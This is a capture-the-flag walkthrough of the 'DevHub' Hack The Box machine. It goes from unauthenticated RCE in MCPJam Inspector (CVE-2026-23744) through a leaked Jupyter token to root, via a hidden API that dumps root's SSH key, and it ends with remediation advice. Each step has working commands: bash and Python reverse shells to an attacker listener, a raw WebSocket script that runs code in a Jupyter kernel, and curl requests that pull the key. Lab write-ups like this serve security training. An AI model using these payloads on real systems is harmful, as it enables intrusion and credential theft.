CTFs

HTB Season 11: DevHub Machine Full Walkthrough

August 27, 2026 Saher Mohamed 8 min read 7 views
HTB Season 11: DevHub Machine Full Walkthrough

Overview

devhub.htb is an internal development and analytics platform running on Ubuntu 24.04. The machine hosts three internal services — an MCP Inspector tool, a Jupyter-based analytics dashboard, and a Git code repository — all accessible via a devhub.htb landing page.

The attack chain exploits a critical unauthenticated RCE vulnerability in MCPJam Inspector to gain an initial foothold, leverages a process argument information leak to pivot to a second user, and finally abuses a hidden administrative API endpoint running as root to dump the root SSH private key.


Attack Chain Summary

                     Recon → devhub.htb landing page
                                     ↓
  CVE-2026-23744 — MCPJam Inspector unauthenticated RCE via /api/mcp/connect
                                     ↓
                       Shell as mcp-dev (UID=1001)
                                     ↓
             Jupyter token exposed in process arguments (ps aux)
                                     ↓
        Jupyter kernel API + raw WebSocket → RCE as analyst (UID=1002)
                                     ↓
                                 user.txt
                                     ↓
            OPSMCP Flask server running as root on localhost:5000
                                     ↓
            Hidden tool ops._admin_dump → /root/.ssh/id_rsa dumped
                                     ↓
                                SSH as root
                                     ↓
                                 root.txt

Reconnaissance

Port Scan

nmap -sC -sV -p- -T4 -oA devhub_scan 10.129.7.166

Open ports:

Port Service Details
22 SSH OpenSSH
80 HTTP nginx — devhub.htb landing page
6274 HTTP MCPJam Inspector

Web Enumeration

Browsing to http://devhub.htb reveals an internal development platform landing page with three service cards:

  • MCP Inspector — Active on port 6274
  • Analytics Dashboard — Jupyter, internal only on localhost:8888
  • Code Repository — Internal Git server, maintenance mode

Adding the vhost to /etc/hosts:

echo "10.129.7.166 devhub.htb" >> /etc/hosts

Initial Access — CVE-2026-23744 (MCPJam Inspector RCE)

Vulnerability Description

CVE-2026-23744 is a critical unauthenticated Remote Code Execution vulnerability affecting MCPJam Inspector versions <= 1.4.2.

Root Cause: The MCPJam Inspector HTTP server binds to 0.0.0.0 (all interfaces) instead of 127.0.0.1, exposing the /api/mcp/connect endpoint to the network. This endpoint accepts a JSON body containing command and args fields and directly spawns an OS child process without any authentication, input validation, or sanitization.

Vulnerable server binding in source:

const server = serve({
  fetch: app.fetch,
  port: SERVER_PORT,
  hostname: "0.0.0.0",  // exposed on all interfaces — no auth
});

Vulnerable JSON handler: The endpoint extracts serverConfig.command and serverConfig.args directly from the request body and passes them to the OS process spawner.

Field Value
CVSS Score 9.8 Critical
CWE CWE-306 (Missing Authentication for Critical Function)
Affected @mcpjam/inspector <= 1.4.2
Patched 1.4.3
GHSA GHSA-232v-j27c-5pp6

Steps to Reproduce

Step 1 — Verify the endpoint is unauthenticated:

curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverId":"probe","serverConfig":{"command":"/bin/true","args":[]}}'

A 200 OK response confirms the endpoint accepts unauthenticated requests.

Step 2 — Start a listener:

nc -lvnp 4444

Step 3 — Send the reverse shell payload:

curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverId": "pwned",
    "serverConfig": {
      "command": "/bin/bash",
      "args": ["-c", "bash -i >& /dev/tcp/10.10.14.90/4444 0>&1"]
    }
  }'

Step 4 — Stabilise the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm SHELL=/bin/bash

Result: Shell as mcp-dev (UID=1001).

mcp-dev@devhub:~$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)

Lateral Movement — Jupyter Token Leak

Vulnerability Description

Root Cause: The Jupyter Lab process is started with the authentication token passed as a command-line argument (--ServerApp.token=). On Linux, process arguments are visible to all local users via /proc/<pid>/cmdline and tools like ps aux. This means any user with local access can read the Jupyter authentication token in plaintext without any special privileges.

This is a configuration/deployment error — Jupyter tokens should be passed via environment variables or configuration files with restricted permissions, not command-line arguments.

Steps to Reproduce

Step 1 — Enumerate running processes as mcp-dev:

ps aux | grep jupyter

Output:

analyst  1044  0.0  2.4 182532 96576 ? Ss May28 0:05
/home/analyst/jupyter-env/bin/python3
/home/analyst/jupyter-env/bin/jupyter-lab
--ip=127.0.0.1
--port=8888
--no-browser
--notebook-dir=/home/analyst/notebooks
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
--ServerApp.password=
--ServerApp.disable_check_xsrf=False

Extracted token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

Step 2 — Verify access to the Jupyter API:

curl -s "http://127.0.0.1:8888/api?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
{"version": "2.17.0"}

Step 3 — Create a Jupyter kernel:

curl -s -X POST "http://127.0.0.1:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}'

Response:

{"id": "884d0a69-7529-48d5-87d2-83adcbe3f967", "name": "python3", "execution_state": "starting"}

Step 4 — Write a reverse shell script via the Jupyter file API:

curl -s -X PUT "http://127.0.0.1:8888/api/contents/shell.sh?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{"type":"file","format":"text","content":"#!/bin/bash\npython3 -c '\''import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.14.90\",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call([\"/bin/bash\",\"-i\"])'\''\n"}'

Step 5 — Execute the shell via the kernel WebSocket using Python stdlib only (no external dependencies):

nc -lvnp 4444
python3 << 'PYEOF'
import socket, os, json, uuid, base64, time

TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KID   = "884d0a69-7529-48d5-87d2-83adcbe3f967"
HOST  = "127.0.0.1"
PORT  = 8888
LHOST = "10.10.14.90"
LPORT = "4444"
CODE  = f"import subprocess; subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'])"

key  = base64.b64encode(os.urandom(16)).decode()
path = f"/api/kernels/{KID}/channels?token={TOKEN}"

s = socket.create_connection((HOST, PORT))
s.sendall((
    f"GET {path} HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Upgrade: websocket\r\n"
    f"Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\n"
    f"Sec-WebSocket-Version: 13\r\n\r\n"
).encode())

resp = b""
while b"\r\n\r\n" not in resp:
    resp += s.recv(1)

def make_frame(payload):
    data = payload.encode("utf-8")
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
    ln = len(data)
    if ln <= 125:
        header = bytes([0x81, 0x80 | ln]) + mask
    elif ln <= 65535:
        header = bytes([0x81, 0xFE]) + ln.to_bytes(2,'big') + mask
    else:
        header = bytes([0x81, 0xFF]) + ln.to_bytes(8,'big') + mask
    return header + masked

msg = json.dumps({
    "header": {
        "msg_id": str(uuid.uuid4()), "msg_type": "execute_request",
        "session": str(uuid.uuid4()), "username": "", "version": "5.3", "date": ""
    },
    "parent_header": {}, "metadata": {},
    "content": {
        "code": CODE, "silent": False, "store_history": False,
        "user_expressions": {}, "allow_stdin": False, "stop_on_error": True
    },
    "channel": "shell", "buffers": []
})

s.sendall(make_frame(msg))
time.sleep(5)
s.close()
PYEOF

Result: Shell as analyst (UID=1002).

analyst@devhub:~$ id
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)

analyst@devhub:~$ cat /home/analyst/user.txt
<user flag>

Privilege Escalation — OPSMCP Hidden API

Vulnerability Description

Root Cause: A Flask-based internal operations server (/opt/opsmcp/server.py) runs as root on localhost:5000. The server exposes a /tools/call endpoint protected only by a static API key hardcoded in the source file. The server contains hidden administrative tools not listed in the public /tools/list endpoint, including ops._admin_dump which reads /root/.ssh/id_rsa directly from the filesystem and returns it in the HTTP response.

The combination of three weaknesses leads to full root compromise:

  1. Hardcoded API key in plaintext source — opsmcp_secret_key_4f5a6b7c8d9e0f1a
  2. Hidden tools not documented or protected beyond the shared API key
  3. Arbitrary file read as root — ops._admin_dump with target=ssh_keys reads the root private key with no additional access control

Vulnerable code in /opt/opsmcp/server.py:

VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

elif tool_name == "ops._admin_dump":
    if target == "ssh_keys":
        with open('/root/.ssh/id_rsa', 'r') as f:
            key_data = f.read()
        return jsonify({"root_private_key": key_data})

Steps to Reproduce

Step 1 — Discover the OPSMCP server (visible from pspy or process list):

ps aux | grep opsmcp
# root  1050  python3 /opt/opsmcp/server.py

ss -tlnp | grep 5000
# LISTEN 0  5  127.0.0.1:5000

Step 2 — Read the server source to extract the API key:

cat /opt/opsmcp/server.py
# VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

Step 3 — Enumerate hidden tools by calling ops._debug_mode:

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "Content-Type: application/json" \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -d '{"name":"ops._debug_mode","arguments":{}}'
{
  "debug": true,
  "hidden_tools": ["ops._admin_dump", "ops._debug_mode"]
}

Step 4 — Dump root's SSH private key:

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "Content-Type: application/json" \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

Response:

{
  "target": "ssh_keys",
  "root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\n...",
  "note": "Emergency recovery key dump"
}

Step 5 — Save the key and SSH as root:

# On attacker machine
cat > /tmp/root_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<key content>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 /tmp/root_id_rsa
ssh -i /tmp/root_id_rsa root@10.129.7.166

Result: Root shell.

root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)

root@devhub:~# cat /root/root.txt
<root flag>

Remediation

Finding Severity Fix
CVE-2026-23744 MCPJam RCE Critical Upgrade to @mcpjam/inspector >= 1.4.3. Bind server to 127.0.0.1 only. Add authentication to /api/mcp/connect.
Jupyter token in process args High Pass token via config file (~/.jupyter/jupyter_lab_config.py) with 600 permissions, not --ServerApp.token CLI arg.
Hardcoded API key in source High Store secrets in environment variables or a secrets manager, not source code.
Hidden admin tools exposed via shared key Critical Require separate elevated credentials for admin tools. Remove file-read primitives from API endpoints entirely.
OPSMCP running as root High Run the Flask server as a dedicated low-privilege service account. Use sudo rules scoped to specific operations if root access is required.

Comments (0)

Up to 3,000 characters. Comments appear publicly.

No comments yet. Start the conversation.